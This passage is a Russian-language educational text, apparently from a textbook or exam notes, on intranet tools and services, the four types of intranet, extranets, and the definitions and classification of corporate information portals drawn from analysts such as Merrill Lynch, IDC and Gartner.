Теперь рассмотрим эти механизмы подробнее.
Пользовательские средства. В интранете должны применяться протестирован ные, сертифицированные и современные (обслуживаемые, постоянно обновляемые) средства с удобными и понятными для пользователей интерфейсами и небольшими затратами на сопровождение. Реализуются такие пользовательские средства веб-браузерами со встроенными средствами (Plug-ins), руководствами по использованию и путеводителями, системами просмотра (viewers) для новых форматов данных и файлов и страничками-памятками с закладками и уведомлениями.
Как было отмечено выше, пользовательские средства состоят из системы навига ции (или средств поиска информации) и системы поддержки пользователей.
Система навигации. Огромные информационные ресурсы интранета абсолютно бесполезны, если в них нельзя найти требуемую информацию (отметим, что важно и качество найденной информации) и данные. Причем возможность и скорость нахож дения касается всего в интранете - не только предоставляемой пользователям ин формации и данных, а также поступающих для обработки и хранения в интранет сведений, применяемых для этой обработки приложений, самому контенту интранета и системам его публикации. В связи с этим возникает потребность в разработке и ут верждении политики того, что, где, когда и кому можно искать.
Для осуществления поиска должны предоставляться самые разнообразные сред ства, нуждающиеся в постоянном усовершенствовании в соответствии с изменяю щими потребностями пользователей. В данную категорию средств входят различные поисковые механизмы, поисковые агенты (типа "пауков" - Spiders, интеллектуально го поиска под запросы конкретного пользователя или push-технологии) и классифи каторы и доски объявлений, упрощающие поиск (типа тех, которые есть на Интер нет-узлах, например на Yahoo или Апорте).
Примеры поисковых механизмов (search engines), представленных средствами для серверов, очень просто найти в Интернете. Приведем некоторые из наиболее часто ис пользуемых в интранете поисковых механизмов (более полный список дан в прил. 1).
Excite [http://www.excite.com] - система, реализующая поиск по систематизиро ванному каталогу и ключевым словам.
OpenText [http://www.opentext.com] - система, осуществляющая полнотекстовый поиск, поиск метаданных различных форматов, а также способная поддерживать ин терактивный поиск.
FreeWAIS [http://ls6-www.informatik.uni-dortmund.de/ir/projects/ freeWAIS-sf/] -система, предназначенная для произвольного поиска под управлением ОС Unix.
Harvest [http://harvest.transarc.com] - система, имеющая масштабируемую, инте рактивную архитектуру для индексации и доступа к информации в Интернете.
Другие системы типа Verity [http://www.verity.com], Fulcrum Technologies [http://www.fulcrum-technologies.com], Thunderstone [http://www.thunderstone.com] и т. п.
В отдельную группу выделяются средства помощи при перемещении между стра ницами (page navigation aids):
■ строки совместного перемещения (shared navigation bars);
■ метафоры (metaphors);
■ страницы помощи (help pages);
■ карты веб-узлов (site maps).
Есть и средства более широкого применения:
■ доски объявлений (announcement directory);
■ специализированные искатели информации (info finders);
■ фильтры (filters);
■ агенты (agents);
■ путеводители (guides).
Выделим ряд интересных моментов, характеризующих основные направления в системах нахождения информации:
■ запись и сохранение предыдущих поисков пользователя;
■ подписка на получение специальной информации;
■ персонализированный поиск;
■ поиск в фоновом режиме;
■ поиск в зависимости от решаемых задач;
■ поиск на основе агентов;
Push-технология (дословно в переводе означает технологию принудительного распространения информации), реализующая отбор и доставку информации в реаль ном времени.
Система поддержки пользователей. На основе веб-технологии эта система обес печивает поддержку действий конечных пользователей в интранете, а именно обуча ет, консультирует, помогает им наилучшим образом использовать все ресурсы ин транет. Такая система обязательно задействована в организации интерактивной под держки пользователей, например в виде раздела "Часто задаваемые вопросы" (Frequently Asked Questions, FAQ). Она также может предоставлять доступ всем пользователям к системам разбора проблем (problem reporting systems), типичных для интранета или для организации в целом.
Основными требованиями при проектировании средств помощи являются сле дующие:
■ сообщения системы поддержки должны быть просты в использовании и понимании;
■ пользователи должны иметь возможность легко перемещаться в интранете;
■ согласованная работа веб-пользователей достигается применением путеводителей и консультантов;
■ работа система поддержки реализуется такими средствами, как подсказки, заго ловки, иконки и эмблемы, строки навигации, указания даты и авторства, перекре стные ссылки, терминологические словари и т. д.
Веб-средства. Эти средства подразделяются на веб-приложения и средства управления средой интранета, которые объединяют в единое целое внешние и внут ренние ресурсы интранета. Они представляют собой набор программных прикладных средств и состоят из постоянно пополняющегося списка типа:
■ средств доступа к базам данных;
■ средств управления состояниями и событиями; • пользовательских интерфейсов;
■ средств обработки форм;
■ скриптов или сценариев (Common Gateway Interface, CGI) — это механизмы для выбора, обработки и форматирования информации, которые вызывают веб сервер, например для динамического формирования веб-страниц и публикации на них актуальных сведений, извлеченных из постоянно обновляемых баз данных ;
■ языков программирования Java, ActiveX и т. д.
Примеров таких средств можно привести много. Вот далеко не полный их список: браузеры, скрипты, Java-апплеты, редакторы, конверторы, средства для авторов, средства поиска, средства индексации, средства трассировки, средства быстрого про смотра, плееры, средства вывода, средства доступа к базам данных, средства диагно стики, контроллеры, фильтры, шлюзы, формы и шаблоны, карты, рассыльщики со общений, библиотеки иконок, графика, объявления, средства защиты и т. п.
Менеджеры среды (средства мониторинга). Без средств для управления интране том его функционирование просто невозможно, так как интранет представляет собой очень сложную, постепенно все более усложняющуюся, распределенную, постоянно меняющуюся среду. На рынке регулярно появляются все новые средства данной ка тегории, упрощающие и автоматизирующие работу администраторов интранета. Большинство существующих сегодня средств связано с другими системами, осуще ствляющими следующие функции:
■ различные виды администрирования, включая работу с пользователями;
■ подтверждение связей;
■ отслеживание статистики;
■ контроль документов;
■ контроль версий;
■ проверку представления данных;
■ проверку веб-узлов;
■ защиту и многое другое.
Остальные базовые элементы будут рассмотрены далее в этой главе.
Базовые сервисы
Сервисы предоставляют расширенную функциональность пользователям и адми нистраторам сетей. Известно два вида сервисов - пользовательские и сетевые [22]. Среди пользовательских сервисов выделяются четыре основных типа:
■ создание и публикация документов;
■ координация работ и взаимодействие пользователей ИС - системы электронной почты и средства коллективной работы;
■ навигация (быстрый поиск и доступ к информации);
■ доступ к приложениям.
К сетевым сервисам относятся:
■ справочники - управление информацией о людях и ресурсах (единая справочная служба);
■ репликация - прозрачное распространение данных по сети;
■ защита;
■ управление.
Базовыми для интранета являются сервисы, представленные на рис. 13 [24]. К ним принято относить:
1) консалтинг (consulting) - консультирование служащих организации по самым разнообразным вопросам, включая обучение на примерах, помощь при подготовке новой информации для опубликования в интранете, решение сложных производст венных вопросов, а также изучение спроса на новые средства и источники информа ции, что стимулирует разработку новых совместно применяемых механизмов;
2) дизайн информации (info design) (чем лучше организованы веб-страницы, тем больше в них заинтересованы пользователи);
3) обучение (training) пользователей интранета с привлечением различных средств, таких как интерактивные учебники, новости, демонстрационные материалы, дискуссии ит. п.;
4) руководства (guides) (как и с чего начать работу с интранетом, какая информа ция доступна или как получить доступ к информации ограниченного пользования, с кем контактировать в случае проблем, необходимости установки нового ПО и т. п.);
5) помощь/"горячая линия" (help/hotline), что особенно важно для новых пользо вателей;
6) политика организации, в которой изложены основополагающие подходы к от бору информационного наполнения для интранета и публикации документов, прави ла и средства доступа ко всем этим ресурсам, а также ПБ для самого интранета;
7) сервисы, реализующие планирование развития интранета (например, опере жающее предвидение новых запросов пользователей) и мониторинг всех происходя щих в ней событий (например, мониторинг трафика) (planning & monitoring);
8) сервисы, реализующие основные функции по управлению всем интранетом и его серверами (servers/management);
9) сервисы координации (coordination), обеспечивающие поддержку совместной работы отдельных групп в пределах организации (включают средства обеспечения контактов через интранет между различными рабочими группами, совместное ис пользование информации, получение необходимого ПО и т. п.).
Как видно из краткого описания сервисов, по мере развития интранета они стиму лируют разработку все новых механизмов, полезных как для пользователей, так и для сопровождающего персонала интранета.
2.1.4. виды интранета Выделяют четыре основных вида интранета [18].
Первый вид. Базовая сетевая инфраструктура организации дополняется браузера ми и веб-серверами с базовым информационным наполнением. Значимость этого на полнения способствует тому, что различные подразделения компании присоединя ются к системе и добавляют информацию, а следовательно, значимость интранета экспоненциально увеличивается. Когда сеть начинает широко использоваться и по является возможность доступа к "критической массе " данных, внимание админист ратора переключается на структуру и организацию информации.
В таком интранете обеспечивается статический доступ к статическим данным. Термин "статический доступ" указывает на способ поиска информации пользовате лями. В рассматриваемом случае он осуществляется с помощью имеющихся связей или известных адресов. Данные являются статическими: они однажды созданы и мо гут быть изменены только владельцем информации.
Второй вид. В дополнение к первой модели вводятся поисковые средства инфор мации. Механизмы поиска информации и путеводители по ресурсам упрощают поль зователям нахождение документов, однако приводят к усложнению системы, по скольку нуждаются в управлении индексами поиска. Кроме того, они заставляют ад министраторов с повышенным вниманием относиться к системной и сетевой производительности. При этом пользователи получают динамический доступ к ста тическим данным.
Третий вид. В дополнение ко второй модели реализуются интерфейсы между сис темой и существующими БД и приложениями. Это позволяет связать с интранетом финансовые, кадровые, инженерные, коммерческие и другие приложения и БД, что бы обеспечить к ним более широкий доступ с помощью простого в использовании клиентского интерфейса.
Для того чтобы обеспечить интерфейс с внешними ресурсами, требуются специа лизированные программы. Во многих случаях необходим дополнительный код для интеграции информации из множества источников в единое представление.
Пользователи получают средства доступа нового поколения, которые базируются на "выталкивающей" (push) модели предоставления информации. Вместо осуществ ления запросов и поиска (по системе "вытягивания" информации) пользователи соз дают свои профили по интересам, на которые ориентируется система, принимая ре шение, какую информацию выдать конкретному пользователю. Пользователь полу чает сообщение, когда интересующие его данные поступают в интранете или когда происходят определенные изменения элемента базы данных. Теперь интранет обес печивает динамический доступ к динамическим данным.
В таком интранете корпорация может строить приложения, обеспечивающие ин теграцию данных из множества источников.
Четвертый вид. Имея доступ ко всей корпоративной информации, организации настраивают его в соответствии с задачами бизнеса, потребностями своих клиентов или отдельных служащих. В этой модели интранет обеспечивается персонифициро ванный доступ к персонифицированным данным внутри и - при соответствующих условиях - вне интранета.
2.3. Интранет и экстранет
Другим способом обеспечения совместного доступа деловых партнеров к инфор мации, хранящейся в интранете, является создание экстранета (extranet) - части ин транета, предназначенной для доступа извне. Это сеть обмена информацией, объеди няющая как собственную внутреннюю сеть предприятия (интранет), так и внутрен ние сети его удаленных подразделений и партнеров. Например, несколько компаний могут создать экстранет для универсализации процесса обучения, сбора и совместно го использования данных по некоторому общему проекту. В этом случае Интернет используется для передачи информации между интранетами предприятий. В отличие от интранета замкнутой, защищенной от внешнего вторжения компьютерной инфор мационной сети, экстранет предназначен для внешних пользователей.
Деловые партнеры часто создают экстранеты, обеспечивающие ограниченный доступ к отдельным частям своих интранетов. В экстранете каждая компания исполь зует свою систему безопасности для обеспечения доступа сотрудников других орга низаций только к той информации, которая действительно нужна им для работы. В жизни граница между сотрудником, партнером и клиентом очень условна. Некото рым внешним партнерам можно доверять как сотрудникам, и их работа очень нужна. Ряд сотрудников работают на повременной оплате за штатом компании и не являют ся фактически сотрудниками. Деловым партнерам доступны только те части интра нета, на которые они имеют соответствующие права доступа. Для конкурентов же любой доступ к такой интранет закрыт. Для ИС не имеет значение, что эксперт про екта находится в Москве, клиент - в Штатах, а руководитель проекта - в Екатерин бурге. Все получают информацию в соответствии со своими ролями и предусмотрен ными в ПБ способами контроля и предоставления доступа. Для этого создаются сис темы, предназначенные для управления аутентификацией, авторизацией, профилями и правами пользователей (примером может являться разработка IdentityMinder ком пании Netegrity).
Типичным и популярным примером экстранет-решений является, например, Ин тернет-трейдинг и Интернет-банкинг. Очень значительную экономию получают ком пании с развитыми дилерскими сетями - экстранет-решение позволяет открыть диле рам постоянно доступную и актуальную информацию о номенклатуре, состоянии склада и прочем, а также автоматизировать процесс приема и обработки заявок.
При наличии экстранета для получения доступа к корпоративным данным слу жащим компании уже не нужно связываться по телефонной линии с сервером уда ленного доступа; достаточно подключиться к Интернету в любой точке мира через защищенный канал связи. Вместо применения форматов электронного обмена дан ными в интегрированных сетях становится возможным открытый диалог между кли ентами и поставщиками через Интернет.
Приложения, обеспечивающие возможность совместной работы сотрудников, яв ляются мощнейшим средством экстранета. Эти приложения позволяют совместно использовать интеллектуальные ресурсы нескольких компаний при работе над об щими проектами и обеспечивают решение задач разного уровня: от совместного ис пользования файлов до осуществления ответственных бизнес-операций с партнера ми. Кроме того, поставщики, заказчики и другие партнеры могут подключаться к экстранету через провайдеров услуг Интернет для получения ответственной ин формации.
Обычно построение экстранета требует немалых усилий [28]. БД, приложения и прочая важная производственная информация должны быть защищены с помощью МЭ, шифрования или сочетания того и другого. Традиционные системы удаленного доступа не поддерживают доступ к экстранету. Доступ через экстранет требует спе циальных продуктов. Для гладкого функционирования экстранета критически важно наличие законченного комплекта ПО или оборудования типа поставляемых компа ниями Netscape Communications, Lotus Development и Bay Networks (например, спе циального коммутатора для экстранета). При выборе провайдера услуг доступа к се ти следует остановиться на том, который предоставляет высокопроизводительную сеть с малым временем ожидания, обеспечивает вход через коммутируемую линию и дает гарантии обслуживания. При этом опыт провайдера и техническое состояние се ти иногда важнее стоимости обслуживания.
Поскольку экстранет, как и интранет, является IP-системой, предназначенной в основном для использования между организациями, между организацией и клиен тами или между клиентами, то стандарты имеют здесь огромное значение [29]. Ни одна компания не может диктовать другой, какие использовать технологии. Но если обе они не будут говорить на одном и том же языке, ни о какой коммуникации между ними не может быть и речи. Теперь, когда браузеры и сервис-провайдеры имеются повсюду, решена самая крупная проблема стандартов экстранета. Клиенты могут взаимодействовать с серверами независимо от используемой платформы. Однако ос тается нерешенной такая важная проблема, как обеспечение ИБ. Как можно гаранти ровать, что к экстранету получают доступ только выбранные деловые партнеры? Как понять, что ваши посетители - именно те, за кого они себя выдают? Наиболее полез ными для экстранета для достижения двух целей защиты - конфиденциальности и аутентификации оказываются две технологии: Secure Sockets Layer (SSL) и вирту альные частные сети (VPN). Они будет рассмотрены в соответствующих главах вто рой части учебника.
134. Порталы: классификация. Корпоративный информационный портал: логическая структура, компоненты, схема, базовые сервисы.
Версия №1
Определение: Портал – комплекс аппаратных и программных средств, представляемый единым входом в виде Web-узла и организованный для объединения различных сетевых ресурсов и услуг, обеспечивающи персонализированное обслуживание.
Классификация:
1. с точки зрения технического исполнения
С каким контентом пользователи работают:
2. с точки зрения целевой аудитории и структурированности информационного соединения
Корпоративный портал – единая информационная система организации, обеспечивающая обработку, анализ и разграничение прав доступа к структурированным и неструктурированным данным, используемым во внешних и внутренних бизнес-процессах.
Интегрирует внутрикорпоративные и внешние приложения (службы новостей и прочее).
Функциональные особенности корп. порталов:
Логические компоненты корпоративного портала:
Версия №2
2.4. Портал и интранет
Появление информационных порталов как самостоятельной информационной единицы можно датировать 1994-1995 гг. [30, 31], когда в Интернете появился новый класс коммерческих узлов - информационные накопители (Yahoo, AltaVista, Lycos, Google и др.). Самым первым был поисковый портал Yahoo, затем приобрели "пор тальный" облик поисковые машины Lycos, Infoseek (теперь go.com), Excite, Netscape, AOL, AltaVista. За первые четыре месяца существования портала Yahoo (с июня по сентябрь 1996 г.) наблюдался более чем 50 %-ный рост числа посещений этого веб-узла. Его отличительными чертами, как и других поисковых машин, являются обяза тельное окно для ввода искомых слов и рубрикация по тематике, подобная система тическому каталогу в библиотеке. Уровень систематического каталога зависит от квалификации составителей. Над ведением Yahoo работает несколько сотен человек. С расширением Интернета эти узлы стали путеводителями для пользователя сети.
Первое упоминание слова "портал" связывают с выпуском Шайлаксом и Тилма-ном из компании Merrill Lynch (Shilakes С. С, Tylman J. Enterprise Information Portals) в ноябре 1998 г. отчета, в котором впервые было введено понятие корпоративного информационного портала (Enterprise Information Portal, EIP), под которым понима лись приложения, позволяющие компаниям раскрывать информацию, хранящуюся внутри и вне организации, и предоставлять пользователям единый шлюз доступа к персонализированной информации, необходимой для принятия бизнес-решений. Они являются "совокупностью программных приложений, которые консолидируют, управляют, анализируют и распространяют информацию по всему предприятию и за его пределами". Их основные характеристики, с точки зрения Merrill Lynch, таковы:
■ использование технологий передачи и сбора данных для предоставления инфор мации пользователям через стандартизованный веб-интерфейс;
■ интерактивность - возможность задавать вопросы и совместно использовать ин формацию на рабочем столе пользователя;
■ тенденция к "вертикализации" ПП, т. е. корпоративные порталы (КП) часто явля ются приложениями, предоставляющими "специализированный контент для кон кретных индустрии или корпоративных функций";
■ интеграция разнородных приложений (включает приложения управления контен том, business intelligence, управления данными и хранилищами данных, а также внешние данные) в единую систему, которая позволяет "управлять, распределять и поддерживать информацию с помощью единого центрального пользовательско го интерфейса".
В январе 1999 г. практически одновременно появились еще две работы на тему порталов - Джерри Мюррея из IDC и Колина Байта. В отличие от Merrill Lynch Джерри Мюррей (директор по исследованиям систем управления знаниями IDC) считает, что КП - это больше, чем шлюз (Murray G. The Portal is the Desktop. 1999. Jan.). IDC считает, что "порталы, которые концентрируются лишь на работе с контен том, не отвечают нуждам корпоративного рынка. КП должны подключать ... не толь ко ко всей необходимой информации, но и ко всем нужным... людям и предоставлять инструменты, необходимые для поддержки совместной работы. Это означает, что ПО для коллективной работы, электронная почта, приложения для управления рабочими процессам (workflow) и настольные приложения - и даже критические бизнес-приложения - должны быть доступны через портал, который становится вашим ра бочим столом".
Основатель компании DataBase Associates International, занимающейся консалтин гом в области ИТ и один из крупнейших аналитиков Колин Вайт определяет EIP про сто как систему, предоставляющую пользователям единый веб-интерфейс доступа к корпоративной информации, разбросанной по всему предприятию (The Enterprise Information Portal Marketplace. 1999. Jan.). Руководствуясь этим определением, он классифицирует EIP на две основные категории, следуя двум наиболее частым зада чам: decision processing и collaborative processing. Decision processing EIP помогают "пользователям организовывать и находить корпоративную информацию в системах, которые входят в цепь поставки бизнес-информации". Информация такого типа явля ется в высшей степени структурированной и получается из операционных данных и информации, хранящейся в хранилищах данных, а также из внешних систем. Decision processing EIP используют инструменты business intelligence и аналитические прило жения для создания отчетов и анализа, а затем распространяют их по всему предпри ятию всевозможными электронными способами. Collaborative processing EIP помога ют "пользователям организовывать и совместно применять информацию в рабочих группах, такую, как электронная почта, материалы групповых обсуждений, отчеты, напоминания и протоколы собраний". Информация этого типа относительно не структурированна и поступает от отдельных участников работы и из рабочих групп. Она обрабатывается с помощью совместных инструментов groupware и workflow.
В следующем представлении от Delphi Group КП централизуют "корпоративный доступ к информации в графически богатом, независимом от приложений интерфей се, который отображает технологические процессы, завязанные на знаниях, и предос тавляют единую точку интеграции по всему предприятию". Они должны интегриро вать "острова автоматизации", сформированные из современных рабочих ПК, и по степенно создавать интегрированную бизнес-среду, "предоставляющую информа ционный доступ, доставку и поддержку рабочих процессов по всем измерениям организации".
В отчете Data Warehousing Institute Уэйн Экерсон, директор по исследованиям Data Warehousing Institute, определяет портал как приложение, которое "предоставля ет пользователям единую точку для доступа к любым нужным им информационным объектам, находящимся как внутри, так и снаружи корпорации" (Wayne Eckerson, "Business Portals: Drivers, Definitions, and Rules", April 1999). Он утверждает, что шлюзовые функции приложения портала в его представлении являются фундамен тальными. Помимо этого, подчеркивается важность совместных услуг, таких, как безопасность, хранение метаданных, персонализация, поиск, публикация и абонент ские услуги и т. д. Data Warehousing Institute почти не уделяет внимания сотрудниче ству и приложениям поддержки технологических процессов, ни в своем определе нии, ни в спецификации концепции портала. Он отмечает, что пользователи могут помещать информацию в хранилища порталов, что будет способствовать сотрудни честву. Однако это практически все, что он говорит о сотрудничестве, описывая функции порталов. Таким образом, его портал больше всего напоминает представле ние IDC о EIP - информационный шлюз, предоставляющий пользователю доступ к большому объему структурированного и неструктурированного контента для под держки процессов принятия решений.
Определение одного из важнейших поставщиков в области EIP - компании Plumtree Software основано на различиях между корпоративными и публичными пор талами в видах доступа. Plumtree перечисляет следующие семь характеристик КП, отличающие их от Интернет-порталов:
■ автоматический поиск и организация доступа к новому контенту;
■ интегрированный доступ к более широкому спектру форматов данных, чем в Ин тернет-порталах;
■ организация доступа к информации для удобства просмотра пользователем;
■ сбор персонализированных картин важной информации и извещение пользователей о появлении нового материала по электронной почте или через другие каналы;
■ организация доступа к данным, однако без хранения самих данных;
■ расширяемость и открытость для занесения в каталог новых типов информации;
■ безопасность и выборочная блокировка доступа к внутренней корпоративной ин формации.
Однако в определении не рассматриваются типы приложений, поддерживаемые с помощью этого доступа, таким образом, оно соответствует определениям порталов поддержки принятия решений с поддержкой и без поддержки процессов сотрудниче ства, порталов поддержки процессов сотрудничества и технологических процессов, экспертных порталов и порталов знаний.
Компания Viador, другой заметный поставщик порталов, определяет EIP как "приложения, которые позволяют компаниям предоставлять доступ к информации, хранящейся внутри и снаружи компаний, а также предлагать пользователям внутри и снаружи компании единое окно для просмотра персонализированной информации, необходимой для принятия обоснованных бизнес-решений. Корпоративный инфор мационный портал - это система на основе браузера, которая предоставляет полный доступ ко всей важнейшей бизнес-информации, точно так же, как контентные порта лы в Интернете типа Yahoo являются шлюзами доступа к контенту Интернета". С первого взгляда кажется, что это похоже на мнение Байта. Но в сущности определе ние Viador гораздо ближе к формулировке бизнес-портала Data Warehousing Institute, поскольку, в отличие от Байта, EIP-определение Viador практически не уделяет вни мания приложениям для совместной работы.
Согласно определению компании Information Advantage КП должны предостав лять всеобъемлющие интеллектуальные возможности для сотрудников, ответствен ных за принятие решений, поддерживать беспрецедентный уровень доступности, приспосабливаться к изменениям и увеличению численности пользователей. Здесь опять сдвиг в сторону business intelligence, широкого доступа и приспосабливаемости и также слышны отголоски формулировок Data Warehousing Institute и Viador, по скольку Information Advantage четко концентрируется на процессах принятия реше ний, не уделяя значительного внимания сотрудничеству или функциям технологиче ских процессов.
Компания Sqribe определяет EIP как автоматизированный информационный шлюз, который доставляет информацию пользователям на основе их уровня безопас ности, позиции и интересов, способен предоставить доступ к любой информации в любое время, независимо от содержания этой информации, и представляет собой единую точку доступа ко всей информации предприятия. Sqribe, подобно Data Warehousing Institute, Viador и Information Advantage, в своем определении портала почти не уделяет внимания сотрудничеству и технологическим процессам. Для Sqribe EIP - это КП поддержки принятия решений, а компонент сотрудничества при этом полностью исключается.
Подводя итог приведенному обзору, определим портал как комплекс аппаратных и программных средств, представленный единым входом в виде веб-узла и организо ванный для объединения различных сетевых ресурсов и сервисов, обеспечивающих персонализированное обслуживание целевой аудитории и ее коллективную работу.
Основная функция портала, как и у интранета, - это информационное обеспече ние его пользователей. Это и понятно - ведь именно портал чаще всего в настоящее время и является единой точкой доступа к ресурсам интранета. Другие функциональ ные возможности тоже практически идентичны тем, которые ранее были указаны для интранета.
1. Интеграция данных и приложений (новых и унаследованных).
2. Визуализация информации при помощи веб-браузера, благодаря чему исчезает необходимость в установке и поддержке "тяжелых" клиентских приложений.
3. Гибкость, масштабируемость и открытость создаваемых решений, которые дос тигаются благодаря использованию XML и Java; быстрое и легкое внедрение, опти мизация и персонификация.
4. Единый и настраиваемый интерфейс работы с данными и приложениями; возможность входа в портал из различных систем, в том числе территориально удаленных.
5. Реализация системы на основе технологий Java и XML, что обеспечивает пере носимость и независимость приложений от операционных систем сервера и клиента. Хранение и передача данных происходит с помощью языка XML, специально соз данного для организации взаимодействия с различными приложениями. Формат дан ных в XML не зависит от способа его дальнейшей визуализации - за это отвечают хранимые отдельно файлы таблицы стилей, которые преобразуют файлы XML для их представления в веб-страницы.
6. Создание в процессе интеграции пользовательских веб-интерфейсов к корпора тивным приложениям. При дальнейшем развитии системы обеспечивается не только доступ для чтения данных, но и полноценный документооборот.
7. Безопасность и защита информации обеспечиваются единой точкой входа, ка талога и разделением прав доступа. База описаний пользователей также хранится в едином кросс-платформенном каталоге, что создает унифицированную систему безопасности для всех приложений.
Как правило, порталы обладают открытой архитектурой, позволяющей расширять их функциональность за счет добавления сторонних приложений или дополнитель ных компонентов. Отметим, что чаще всего такими компонентами оказываются средства управления информационным наполнением, поэтому обычно такие средства выпускаются производителями порталов или просто входят в состав последних.
Серьезная потребность в построении порталов возникла при переходе от обычных корпоративных БД к распределенным в связи с необходимостью систематизировать и усовершенствовать информационные хранилища компании. Тогда руководители по няли, что без единого информационного пространства, позволяющего и посетителям и сотрудникам работать с данными компании и совместно пользоваться аналитиче скими приложениями в режиме реального времени, не обойтись.
С чего же обычно начинается создание портала? Как видно из нижеприведенного перечня стартовых этапов, они соответствуют аналогичным, возникающим при соз дании интранета.
" Выделяется целевая пользовательская аудитория.
■ Проводится интервьюирование и обследование потребностей пользователей.
■ Проектируется модель информационного наполнения портала.
■ Идентифицируются источники информации.
■ Осуществляется интеграция информационных потоков.
■ Уточняется и утверждается информационная стратегия.
При этом основными требованиями, предъявляемыми к порталам, являются сле дующие [http://www.cmsinfo.ru/contentid-39.html]:
■ обслуживание большого числа пользователей;
■ широкий спектр информации;
■ поддержка основных сетевых форматов;
■ возможности персонализации (настройка рабочего места пользователя в соответ ствии с его индивидуальными запросами, привычками и требованиями);
■ возможности поиска - реализация удобных и эффективных поисковых механиз мов, используя в качестве источников различные информационные ресурсы (структурированные, неструктурированные, метаданные), и оценка достоверности и полноты полученных данных;
■ обеспечение защиты хранящейся информации, используя программные и физиче ские способы обеспечения безопасности (установление подлинности, управление доступом, конфиденциальность и целостность данных и т. д.);
■ интеграция - обеспечение возможности взаимодействия сотрудников компании со всеми приложениями и информационными ресурсами (в соответствии с их приоритетом) через единый интерфейс;
" разбивка хранимой информации на категории (так называемый процесс катего ризации);
■ автоматизированные процедуры категоризации результатов индивидуального поиска;
■ наличие приложения интеллектуального анализа (так называемые системы управ ления знаниями).
2.4.1. Классификация порталов
Классифицировать порталы можно с точки зрения либо их технического исполне ния, либо их целевой аудитории и структурированности информационного наполне ния [32, 33].
С точки зрения технического исполнения порталы делятся на следующие классы:
■ мегапортал;
■ информационный, который предоставляет информацию;
■ корпоративный, который координируют контент в рамках относительно узкого сообщества пользователей, объединенных общими целями и задачами;
■ коммерческий, который обеспечивает предоставление узконаправленной инфор мации определенной целевой аудитории;
■ вертикальный (специализированный), имеющий узкую тематическую направлен ность;
■ горизонтальный (универсальный), носящий общий характер;
■ торговый, создаваемый для объединения веб-узлов поставщиков и покупателей и централизации документооборота между ними [электронные транзакции прохо дят через электронные торговые площадки (marketplaces), соединяющие покупа телей и поставщиков по "звездообразной" топологии];
■ портал публикации информации, ориентированный на большие, разнородные со общества пользователей с разнородными интересами (содержит немного элемен тов персонификации контента и предлагает только базовые средства поиска и ин терактивного взаимодействия, ориентированные на неискушенного пользователя Web);
■ портал приложений;
■ портал управления;
■ портал для совместной работы, который обеспечивает все мыслимые средства взаимодействия людей с использованием компьютерных технологий;
■ портал знаний, который комбинируют все перечисленные выше типы и обеспечи вает доставку персонифицированной информации с учетом конкретной работы, которую выполняет каждый пользователь в определенный момент времени, и др.
С точки зрения целевой аудитории и структурированности информационного на полнения сети порталы бывают общедоступными, персонально-групповыми и кор поративными.
Общедоступные (потребительские) порталы (типа Rambler, Yahoo, Google, InfoArt и т. д.) отличаются слабой структурированностью информации, и их целевая аудито рия не ограничена. Такие порталы создаются для организации удобной работы в сети со ссылками на различные узлы. Они предоставляют своим пользователям поисковые возможности, ленты новостей, биржевые сводки, прогнозы погоды, услуги e-mail, сервисы для планирования времени, ведения баз данных адресов и дат. Существуют такие порталы за счет рекламной деятельности. Их нередко называют мегапорталами или информационными порталами.
Целевой аудиторией персонально-групповых порталов (Enfish, MyYahoo! и др.) являются отдельные индивидуумы или группы пользователей, объединенные общим интересом, задачей. В функции таких порталов входит поддержка электронной поч ты, удаленное хранение и обработка персональной информации. Их роль возрастет с появлением виртуальных рабочих мест, физически удаленных от предприятия. Пер сональные порталы могут быть реализованы как автономный узел либо входить в со став корпоративного или общедоступного портала, обеспечивая узконаправленную, глубоко персонализированную и интеллектуально структурированную переработку информации. Эти порталы используют разные бизнес-модели, включая получение дохода от платной подписки, участия в прибыли, размещения рекламы, продажи уникального информационного контента, услуг мобильной и мультимедийной ком муникации и т. д.
КП - это единая ИС организации, обеспечивающая хранение, обработку, анализ и разграничение прав доступа к структурированным и неструктурированным данным, используемым во внутренних и внешних бизнес-процессах. Такие порталы создаются для организации единого информационного пространства внутри компании и вклю чают в себя вертикальные и горизонтальные порталы и порталы приложений. Этот вид порталов в научной литературе пока не получил единого названия и поэтому можно встретить его различные наименования: корпоративный портал (corporate portal); бизнес-портал (business portal); интеллектуальный бизнес-портал (business intelligence portal); корпоративный интранет-портал (enterprise intranet portal, EIP) на базе интранета. Из определения КП следует, что он интегрирует приложения внутри корпоративные (программы электронной почты, системы управления документами и БД) и внешние (службы новостей, потребительские веб-узлы и пр.), а также сочетает в себе функциональность интранета/экстранета и Интернет-ориентацию веб-пред ставительства организации.
В некоторых публикациях предлагается более детальная классификация КП, под разделяющая их [34]:
■ на порталы, представляющие результаты анализа данных (Business intelligence portals);
■ внутрикорпоративные интранет-порталы (Business area portals);
■ порталы для организации групповой работы (Enterprise Collaborative Portals);
■ порталы, предназначенные для управления знаниями (Enterprise Knowledge Portals);
" ролевые порталы (Role portals), поддерживающие три бизнес-модели - В2Е, В2С иВ2В.
Согласно исследованиям аналитической компании Gartner Group назначение КП отражается такими тремя основными решаемыми с его помощью задачами:
1) интеграция информационных ресурсов и доставка сотрудникам важной инфор мации;
2) организация совместной работы пользователей над документами и предостав ление коллективных услуг;
3) доступ к корпоративной информации, сервисам и приложениям в соответствии с предоставленными пользователям полномочиями и решаемыми задачами.
Согласно этим же исследованиям первое поколение КП имеет следующие харак теристики:
■ поиск и индексирование широкого набора информационных репозитариев;
■ категоризация информационного наполнения;
■ управление информационным наполнением и его агрегация;
■ персонализация;
■ высокоэффективная разработка приложений и возможность интеграции с другими приложениями.
Для второго поколения КП, применяемых в качестве составляющей части элек тронного бизнеса, характерны: ' надежная среда реализации приложений;
■ мощные и гибкие инструменты разработки приложений;
■ широкие возможности в области интеграции приложений;
■ соответствие требованиям к информационным системам масштаба предприятия;
■ поддержка интеграции с другими приложениями и информационными системами партнеров;
■ поддержка мобильного/беспроводного доступа к данным.
Функциональные особенности КП заключаются в следующем:
■ единый виртуальный каталог хранения корпоративной информации;
■ универсальный метод доступа ко всему множеству корпоративной информации;
■ интеграция приложений и данных;
■ возможность управления бизнес-процессами;
■ гибкая организация коллективной работы;
• использование привычных методов просмотра и поиска информации (через веб-интерфейс);
■ поддержка персональных публикаций клиентов системы;
■ прозрачные схемы управления потоками информации и публикации;
■ персонализация рабочих мест пользователей;
■ возможность постоянно наращивать сервисы системы;
■ контроль, учет и анализ использования ресурсов пользователями;
■ дистанционное обучение сотрудников корпорации на основе использования ре сурсов и сервисов портала.
Сравнение КП и Интернет-портала позволяет сделать следующие выводы [32]:
